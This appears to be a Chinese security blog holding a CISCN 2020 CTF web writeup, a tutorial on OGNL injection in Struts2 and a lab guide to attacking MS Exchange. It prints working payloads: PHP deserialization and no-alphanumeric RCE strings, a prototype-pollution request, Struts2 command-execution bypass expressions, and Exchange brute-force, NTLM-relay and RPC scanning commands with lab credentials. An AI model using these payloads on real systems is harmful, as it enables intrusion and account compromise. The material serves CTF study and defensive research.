J0k3r's Blog

CISCN 2020 第十三届全国大学生信息安全竞赛初赛 WEB Writeup

2020-08-24T16:00:00.000Z

WEB 部分

easyphp

题目代码：


    //题目环境：php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

应该是通过 call_user_func_array 执行函数让 fork 程序异常退出，以此执行 phpinfo()，先生成所有内部定义的函数



$func_arr = get_defined_functions()['internal'];

for ($i = 0; $i < sizeof($func_arr); $i ++){
file_put_contents("./func.txt", $func_arr[$i]."\n",FILE_APPEND);
}

使用 Burp 跑一下

满足条件的有多个函数

任取一个即可获取 flag

flag{2a37f414-418f-4dd6-8981-a4ecf0e71a39}

babyunserialize

扫目录发现源码

composer 安装依赖

代码审计，找下 __destruct 入口点

可以利用 jig 的 write 方法写文件，比较简单，控制 lazy、data、dir 三个变量即可

function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}

1
2
3

function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

脚本:




namespace DB;

//! In-memory/flat-file DB wrapper
class Jig {
    protected
        //! UUID
        $uuid,
        //! Storage location
        $dir,
        //! Current storage format
        $format,
        //! Jig log
        $log,
        //! Memory-held data
        $data,
        //! lazy load/save files
        $lazy;

    function __construct() {
        $this->lazy = TRUE;
        /*$this->data = ['test.php'=>['@eval($_REQUEST[1]); ?>']];*/
        $this->data = ['test2.php'=>['']];
        $this->dir = './';

    }

}



echo urlencode(serialize(new Jig()));

生成 exp O%3A6%3A%22DB%5CJig%22%3A6%3A%7Bs%3A7%3A%22%00%2A%00uuid%22%3BN%3Bs%3A6%3A%22%00%2A%00dir%22%3Bs%3A2%3A%22.%2F%22%3Bs%3A9%3A%22%00%2A%00format%22%3BN%3Bs%3A6%3A%22%00%2A%00log%22%3BN%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22test2.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3B%7D

成功写入 test2.php ，访问 phpinfo，能够找到 flag

flag{c1019337-2bc8-4d02-9031-3edadf522f83}

rceme

代码如下：


error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉，执行出错，发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉，执行出错，发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉，模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉，模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

题目代码貌似 zzzphpV1.6.1 漏洞代码改的吧，网上有关文章：https://www.cnblogs.com/lovequitepcs/p/12842482.html

本地测试可以直接用网上的 paylaod，只不过题目有黑名单罢了，都能执行 php 代码了，黑名单也只是简单的字符判断

利用 php 动态执行特性 bypass 或者无字母数字执行 php 代码即可，网上文章很多

构造一个 phpinfo

直接使用 https://www.cnblogs.com/BOHB-yunying/p/11520031.html 中的 paylaod

http://eci-2ze6s45xk2o36vtz4e0k.cloudeci1.ichunqiu.com/?a=%7Bif%3A1)(AYAYYRY%5Etrim(((((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a))))))()%3B%3B%2F%2F%7D%7Bend%20if%7D

拿到 flag

或者是

1	http://eci-2ze6s45xk2o36vtz4e0k.cloudeci1.ichunqiu.com/?a=%7Bif%3A1)('p'.'h'.'p'.'i'.'n'.'f'.'o')()%3B%2F%2F%7D%7Bend%20if%7D

同样执行 phpinfo

flag{c7566bbb-27e5-490f-aa21-d65ef265d35d}

littlegame

下载附件，npm install 更新下依赖

js 代码审计，package.json 先看看 dependencies

https://snyk.io/vuln/SNYK-JS-SETVALUE-450213 能找到 "set-value": "^3.0.0" 的原型链污染

漏洞 POC

const setFn = require('set-value'); 
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ]; 

function check() { 
    for (const p of paths) { 
        setFn({}, p, true); 
    } 
    for (let i = 0; i < paths.length; i++) { 
        if (({})[`a${i}`] === true) { 
            console.log(`Yes with ${paths[i]}`); 
        } 
    } 
} 
check();

再看看 routes/index.js 关键代码

const setFn = require('set-value');

 ......
 
 router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

同样是 setFn，也符合 poc 的利用条件，在看获取 flag 路由定义，Admin 的 password 是不知道的

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});

利用原型链污染自定义一个 password 即可

先 POST /Privilege 添加属性并赋值

1
2
3

http://eci-2ze4ps1zb1acy0xbmr4p.cloudeci1.ichunqiu.com:8888/Privilege

NewAttributeKey=__proto__.fuck&NewAttributeValue=fuck

然后再 POST /DeveloperControlPanel 验证密码

1
2
3

http://eci-2ze4ps1zb1acy0xbmr4p.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel

key=fuck&password=fuck

获取 flag

flag{ee34b29b-59c6-4f06-9b3f-f5b12c63de37}

easytrick

题目代码


class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

只有两个变量，可以根据题目设定通过批量 fuzz 一些常见的 php 弱类型比较获取可能的组合

function get_trick(){
    $a = [true,false,1,0,-1,"1","0","-1",NULL,array(),"Array","null","true","false","",0e123,"0e123","0e0",0e0,9e999,INF,"9e999","INF",-9e99,"-0e0",-0e0];
    for ($i = 0; $i < sizeof($a); $i ++){
        $t = (string)$a[$i];
        for ($j = 0; $j < sizeof($a); $j ++){
            if($t !== $a[$j] && md5($t) === md5($a[$j]) && $t != $a[$j]){
            echo "--------\n";
            echo "pos:".$i."\n";
            var_dump($a[$i]);
            echo "pos:".$j."\n";
            var_dump($a[$j]);
            //return;
        }
        }
    }
}

get_trick();

如下，解法有多种

随便选一种生成序列化 paylaod


class trick{
    public $trick1;
    public $trick2;
    public function __construct(){
        $this->trick1 = "INF";
        $this->trick2 = 9e999;
    }
}

echo urlencode(serialize(new trick()));

O%3A5%3A%22trick%22%3A2%3A%7Bs%3A6%3A%22trick1%22%3Bs%3A3%3A%22INF%22%3Bs%3A6%3A%22trick2%22%3Bd%3AINF%3B%7D

获取 flag

flag{0421e2ca-167d-47a9-8620-5143d5080614}

Java OGNL 表达式注入

2020-08-18T16:00:00.000Z

学习 Java OGNL 表达式注入

OGNL代表对象图导航语言；它是一种表达语言，用于获取和设置Java对象的属性，以及其他附加功能，例如列表投影和选择以及lambda表达式。您可以使用相同的表达式来获取和设置属性值。

OGNL三要素:

表达式（expression）
- ognl 表达式要执行的具体操作
根对象（root）
- 表达式的操作由根对象来指定对目标对象的操作，可直接引用根对象属性
上下文环境（context）
- 对象运行的上下文环境（map类型）

之前分析的 Struct2 的历史漏洞中，最终都是通过 ognl 达到执行命令的目的，而 struct2 中的 ognl 的 context 就是 ActionContext，根对象即熟悉的 valueStack

0x02 使用 OGNL

在 ognl 注入中常用的也就是对上下文环境、静态方法的访问

OGNL 中的所有变量都是整个表达式的全局变量

获取上下文环境变量：#var
设置变量：#var = 99
访问静态变量：@[class]@[field]
调用静态方法：@[class]@[method()]，`@java.lang.Runtime@getRuntime().exec(‘id’)`
直接使用构造方法进行构造

特殊符号

#

用于访问非根对象属性（ OGNL 和 Action 上下文）
还可以表示自身，listeners.size().(#this > 100? 2*#this : 20+#this)
创建 map，#{e1 : e2, ... }，或 #@classname@{ e1 : e2, ... }

%

告诉执行环境 %{} 里的是 OGNL 表达式并计算表达式的值。
求余数 e1 % e2

$

在相关配置文件中引入OGNL表达式，即在配置文件中解析OGNL表达式
用于正则匹配 objects.{$ #this instanceof String }，将返回对象中包含的最后一个元素，该对象是String类的实例

.

获取非静态方法调用
获取对象的属性
投影 e1.{e2}
选择 e1.{? e2}
子表达式求值 e1.(e2)

@

获取静态方法
获取静态变量

,

顺序操作符 e1, e2，e1 和 e2 都使用相同的源对象进行计算，并返回 e2 的结果。

更多详细内容可以参考官方文档：https://commons.apache.org/proper/commons-ognl/language-guide.html

0x03 OGNL 注入

Ognl 的 getValue 和 setValue 都可以用来执行代码，比如 S2-003 就是利用了 setValue

import ognl.Ognl;
import ognl.OgnlContext;

public class demo {
    public static void main(String[] args) throws Exception {
        // 创建一个OGNL上下文对象
        OgnlContext context = new OgnlContext();

        // getValue() 触发
        // @[类全名(包括包路径)]@[方法名|值名]
        //Ognl.getValue("@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')", context, context.getRoot());

        // getValue() 使用 new
        Ognl.getValue("(new java.lang.ProcessBuilder(new java.lang.String[]{\"/Applications/Calculator.app/Contents/MacOS/Calculator\"}).start())", context, context.getRoot());

        // setValue() 触发
        //Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'/Applications/Calculator.app/Contents/MacOS/Calculator\')\")(a)(b)",context,"");

    }
}

在 setValue 中形如 ()(a)(b) 的表达式在 ognl 处理的时候会先计算 ()(a)，然后返回带有 payload 的 ASTEval 树，再以 b 为root 计算 AST 树，最终执行命令

常用 paylaod：

//获取当前路径
@java.lang.System@getProperty("user.dir")

//使用 runtime 执行系统命令
@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')

//使用 processbuilder 执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}).start())

常见注入点和写法（https://www.freebuf.com/vuls/168609.html）

0x04 注入绕过与防御

OGNL 作为 Struts2 框架的默认表达式语言，在 struct2 的众多历史漏洞中被多次绕过，但是，绝大多数是通过 _memberAccess 等属性修改限制条件来达到绕过的目的

绕过

< Struts 2.3.14.1

通过 _memberAccess 设置 allowStaticMethodAccess 开启静态方法调用

1	(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))

< Struts 2.3.20

使用类的构造函数

1	(#p=new java.lang.ProcessBuilder('calc')).(#p.start())

< Struts 2.3.29

在2.3.20后，Struts2 引入了黑名单（excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns），阻止了所有构造函数的使用

通过 _memberAccess 的父类 DefaultMemberAccess 覆盖 _memberAccess 绕过限制

1	(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('calc'))

< Struts 2.3.30+/2.5.2+

利用 container 获取 ognlUtil 再使用 clear 方法清空 excludedClasses、excludedPackageNames，然后 setMemberAccess 方法设置默认的 memberAccess

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))

< Struts 2.5.16

2.5.13 版本中使用的是 3.1.15 的 ognl 包，禁止了对 context.map 的访问

通过attr 获取一个context.map，然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空，再覆盖 _memberAccess

1
2
3

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))

防御

在 struct2 中官方主要通过黑名单的方式来修补漏洞，虽然前期也是被频频绕过，但从最近的版本能看出黑名单的变化

在 struts 2.5.20 中，查看 struts-default.xml 的 excludedClasses 和 excludedPackageNames 黑名单内容如下

<constant name="struts.excludedClasses"
          value="
            java.lang.Object,
            java.lang.Runtime,
            java.lang.System,
            java.lang.Class,
            java.lang.ClassLoader,
            java.lang.Shutdown,
            java.lang.ProcessBuilder,
            com.opensymphony.xwork2.ActionContext" />






<constant name="struts.excludedPackageNames"
          value="
            ognl.,
            javax.,
            freemarker.core.,
            freemarker.template.,
            freemarker.ext.rhino.,
            sun.reflect.,
            javassist.,
            org.objectweb.asm.,
            com.opensymphony.xwork2.ognl.,
            com.opensymphony.xwork2.security.,
            com.opensymphony.xwork2.util." />

连 struct2 重写的 ognl 包 xwork2.ognl 也在 excludedPackageNames 中，而且在 OgnlUtil 中的有关方法属性也产生了变化，这就导致修改黑名单绕过的方法越发困难

Reference

https://commons.apache.org/proper/commons-ognl/language-guide.html

https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/#0x03-OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2

MS Exchange 常用攻击方法与 NSPI 拓展攻击面

2020-08-16T16:00:00.000Z

国外渗透测试专家 Arseniy Sharoglazov 在 Attacking MS Exchange Web Interfaces 一文中描述了一种新的攻击 ms exchange 的方法，于是搭建本地测试环境进行研究，学习下 NSPI 攻击 Exchange 的原理

0x01 测试环境搭建

1. 系统与应用下载

cn_windows_server_2019_updated_jan_2020_x64_dvd_4bbe2c37，download link

SHA1：c27d4f4721433d249ca592c13bd265e864629934

密钥：N69G4-B89J2-4G8F4-WWYCC-J464C

mu_exchange_server_2019_x64_dvd_5fa4d915，https://ibit.to/torrent/Exchange-2019-m9eGP44/

SHA1：75bcab31439eb206fdee58e754b4343c5620f231
MD5：63685ee5627878d890486d8803fbe501

2. 安装过程

.NET Framework 4.7.2（Windows Server 2019 已经安装）

http://go.microsoft.com/fwlink/?linkid=863265

Visual C++ Redistributable Packages for Visual Studio 2013

https://www.microsoft.com/en-us/download/details.aspx?id=40784

Unified Communications Managed API 4.0

https://www.microsoft.com/download/details.aspx?id=34992

重启

使用 windows PowerShell 运行

Install-WindowsFeature RSAT-ADDS

安装 server prerequisites

Install-WindowsFeature NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS

下面开始安装域控

在服务器管理器中选择添加角色和功能

一路 next 即可，来到选择服务器角色这里，选 Active Directory 域服务

又是一路 next，开始安装

安装完成关闭窗口，在回到服务器管理器中，将此服务器升级为域控制器

来到 AD 域服务配置向导

由于没有现有域和现有林，选择添加新林

没安装 DNS 会出现错误，可以直接下一步即可

安装路径、查看选项都是直接下一步，最后安装

安装完会注销并重启服务器，进入漫长的等待，然后登陆系统

把下载 exchange_server_2019 复制到 windows server 2019 中，并右键进行装载

进入 exchange 目录，执行以下命令进行准备

.\Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms

准备 Active Directory，执行下面命令，可以自定义 OrganizationName 组织名称，

.\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName: "exchange"

准备域

.\Setup.exe /PrepareAllDomains /IAcceptExchangeServerLicenseTerms

这个时间久一些，准备域进度可能一直显示 0%

开始安装 Exchange Server 2019

双击 Setup 开始安装

一路 next，拷贝文件、初始化安装完成后使用推荐设置，然后如下图选择

接着再一路 next 直接进行下一步，最终安装并等待完成

0x02 攻击 Exchange

1. 获取 Exchange 用户列表和其他信息

先了解一下 Exchange 的 Autodiscover Publishing and Lookup Protocol （自动发现发布和查找协议，MS-OXDSCLI），这是客户端用来定位 Autodiscover HTTP 服务的，使用 xml 传输消息

使用官方手册 4.1 中的 Autodiscover 请求，修改目标用户 email，POST 请求访问服务器 url 路径：/autodiscover/autodiscover.xml

POST /autodiscover/autodiscover.xml HTTP/1.1
Host: 192.168.6.132
Content-Type: text/xml
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)
Authorization: Basic SjBLM1JcdGVzdGVyOi5QYXNzMjYyNDEw
Cache-Control: no-cache
Content-Length: 361




tester@j0k3r.top
http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a

EMailAddress 元素标识将为要检索配置信息的帐户的电子邮件地址，请求响应如下：

分析返回的 xml 中的信息

HTTP Response

Authenticated User’s SID 即所使用用户的 SID

xml body

Server 元素包含包含附加邮箱的邮件服务器的 FQDN（在Active Directory中，标识域的完全限定域名），下面还有个 OAB Url

OABUrl元素指定服务器的脱机地址簿(OAB)配置服务器URL，可以获得所有Exchange用户的地址列表，通过访问 + /oab.xml 查看 oab.xml 文件

Exchange 默认会创建一些内置的地址列表，比如全局地址列表（GAL），其中含有所有邮箱用户，下面通过 libmspack 库中的oabextract 工具将其解压缩，然后查看用户数据，下载地址：https://www.cabextract.org.uk/libmspack/libmspack-0.10.1alpha.tar.gz，直接 ./configure && make && make install 编译安装，oabextract 位于 example 目录下

在 OAB Url 路径下下载数据 /OAB/b9cf522e-d93a-4f2d-b03f-c1df4a4fb4af/ee0772da-44b1-4110-8b00-70fc34c35cd7-data-1.lzx，解压提取

使用 ntmlscan 工具（https://github.com/nyxgeek/ntlmscan）扫描，可以根据所获的的信息进行 Password Spraying 攻击，这种攻击不同于传统暴力破解的地方在于这种攻击方法使用一个或几个密码（通常是弱密码）来尝试多个账户

2. 使用 Ruler

https://github.com/sensepost/ruler

ruler 是个知名度较高的 Exchange 利用工具，可以通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchang e服务器交互。其主要目的是滥用客户端 Outlook 特性并远程获取shell，进行信息收集和攻击。

爆破攻击

注意要使用正确的域名，否则会出现证书错误，直接修改本地 hosts 文件即可

./ruler-osx64 --domain WIN-QT7IQOG92O7.j0k3r.top brute --users user.txt --passwords pass.txt --delay 0 --verbose

3. 使用 PEAS

简单来说，PEAS 是一个可以通过 ActiveSync 协议连接到 Exchange 的工具

https://github.com/FSecureLABS/PEAS

Exchange ActiveSync 是一种 Exchange 同步协议，该协议已经过优化，可用于高延迟和低带宽网络。该协议基于 HTTP 和 XML，移动电话可以借助它访问运行 Microsoft Exchange 的服务器上的组织信息。

python2 安装： python setup.py install

列出共享文件

1	python -m peas -u 'J0K3R\tester' -p 'Qwer1234' WIN-QT7IQOG92O7.j0k3r.top --list-unc '\\WIN-QT7IQOG92O7\'

4. EWS订阅攻击

https://github.com/dirkjanm/PrivExchange

该攻击利用 Exchange Web Services (EWS) 来进行，EWS 是一种 Exchange API，用于提供对邮箱项的访问。EWS 的订阅操作允许用户设置一个 URL 来通过 HTTP 协议从 Exchange 获得回调，以接收推送通知，这种方式不支持与接收端进行交互，但可以用于盲 SSRF

2018 年，ZDI 研究团队发现 Exchange 通过 NTLM 或 Kerberos 对指定的 URL 进行身份验证，这可以用于 NTLM 对Exchange 本身的中继攻击。

在 Windows 上，很多应用层协议使用 NTLM 进行身份认证，而 NTLM 中继攻击，就是指攻击者在 NTLM 交互认证过程中充当中间人，类似于中间人攻击，在请求认证的客户端与服务端之间传递信息，获取客户端的 Net-NTLM 哈希并将其重放认证目标方，这样无需破解用户名密码就可以获取权限。

比如将获取到的 Net-NTLM 哈希重放到真实的 Exchange 服务器的 EWS 接口进行认证，以此获取目标用户邮箱的邮件记录信息、邮件配置、GAL等信息。

使用 Dirk-jan Mollema 发布的 PrivExchange 工具使 Exchange 回连指定的地址，并进行身份验证

Exchange 的回连请求

Dirk-jan Mollema 的研究文章：Abusing Exchange: One API call away from Domain Admin

5. Office Web 插件攻击

该攻击通常由于持久化，使用插件获取目标邮件的持久访问权限

详情请参阅：https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins/

0x03 使用 NSPI 攻击 Exchange

RPC(Remote Procedure Call) over HTTP v2 工作原理

Exchange 通过私有的 MAPI 协议用于收取邮件，较新版本的 Outlook 通常使用 MAPI 与 Exchange 进行交互，除此之外早期的Outlook 还使用称为 Outlook Anywhere (RPC over HTTP) 的 RPC 交互

RPC over HTTP v2 必须在运行在 HTTP 或者 HTTPS 上，需要 HTTP 1.0 以及来自 HTTP 1.1 的连接保持活动支持。

下面使用 ruler 进行 RPC/HTTP 连接，Wireshark 抓取通信流量

1	./ruler-osx64 --rpc --email tester@j0k3r.top --username tester --password Qwer1234 --insecure --noencrypt --nocache homepage add --url "http://example.com/"

从 HTTP 流中可以看出，RPC_IN_DATA 开头的表示 IN channel 请求，与之对应的 RPC_OUT_DATA 表示 OUT channel 请求，访问 URL 路径是 /rpc/rpcproxy.dll，这是 rpc 代理的一部分，代理与客户端和服务器的关系如下图

HTTP v2上的RPC工作在更复杂的拓扑结构中，定义了客户端、服务器和入站代理与出站代理。没有固定的角色。根据协议充当入站或出站代理，在发布的 [MS-RPCH]: Remote Procedure Call over HTTP Protocol 开放规范文档中有详细的描述

HTTP协议上的远程过程调用（RPC over HTTP）其实是 RPC 和 HTTP 之间的中间协议

用于通过 HTTP 进行 RPC 的协议序列称为 ncacn_http，Exchange 服务器在端口 593、6001、6002 和 6004 上侦听 ncacn_http 请求。RPC over HTTPS 服务的端口通常是 593

根据上面的开放规范，客户端须使用 RPC 代理来连接 ncacn_http 服务，所以可以模拟 RPC 代理直接连接到 ncacn_http

获取 RPC 服务器名

这里先看下 [MS-RPCH] 规范文档中对请求 URL 的描述

abs-path 有如下规定：

1
2
3

nocert-path = "/rpc/rpcproxy.dll"
withcert-path = "/rpcwithcert/rpcproxy.dll"
abs-path = nocert-path / withcert-path

而后面对于 query 中对主机名的描述如下

而实际使用的是 autodiscover 中出现的那个在 Server 元素中的值，即邮件服务器的 FQDN（fully qualified domain name）

使用 nmap 脚本http-ntlm-info 枚举启用了 NTLM 身份验证的来自远程 HTTP 服务的信息，获取目标NetBIOS名称

获取工具，这个是 ptswarm 版本的 Impacket

1
2
3

git clone https://github.com/ptswarm/impacket
mv impacket/impacket impacket/examples
python3 -m pip install -r impacket/requirements.txt

使用 rpcmap.py 工具连接 ncacn_http

1	python3 impacket/examples/rpcmap.py -debug -auth-transport 'J0K3R/tester:Qwer1234' 'ncacn_http:[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]'

使用 wireshark 抓取通信流量，此时最好将 443 改为 80，不然抓的是经 TLS 加密的流量

Exchange 2003/2007/2010 通过 rpcproxy.dll 获取连接，而 Exchange 2013/2016/2019 还有一个 RpcProxyShim.dll，RpcProxyShim.dll 会 hook RpcProxy.dll 回调并处理 Exchange GUID 身份。还支持NetBIOS名称，以实现向后兼容。
RpcProxyShim.dll允许跳过 RPC 级别的身份验证，并且可以将流量直接转发到 Exchange 进程以获取更快的连接。

扫描 RPC over HTTPv2 服务

用 rpcmap.py 工具扫描 MSRPC 接口，通过 -brute-opnums 选项依次调用每个 UUID（用于标记 RPC 对象）分配的操作号的前 N 个，并输出结果，获取 Exchange 2019 可以访问的服务

opnums 一个操作号或数字标识符，用于标识特定的远程过程调用（RPC）方法或接口中的方法。

python3 impacket/examples/rpcmap.py -debug -auth-transport 'J0K3R/tester:Qwer1234' -auth-rpc 'J0K3R/tester:Qwer1234' -auth-level 6 -brute-opnums 'ncacn_http:[6001,RpcProxy=WIN-QT7IQOG92O7.j0k3r.top:443]'
Impacket - Exchanger.py Fork

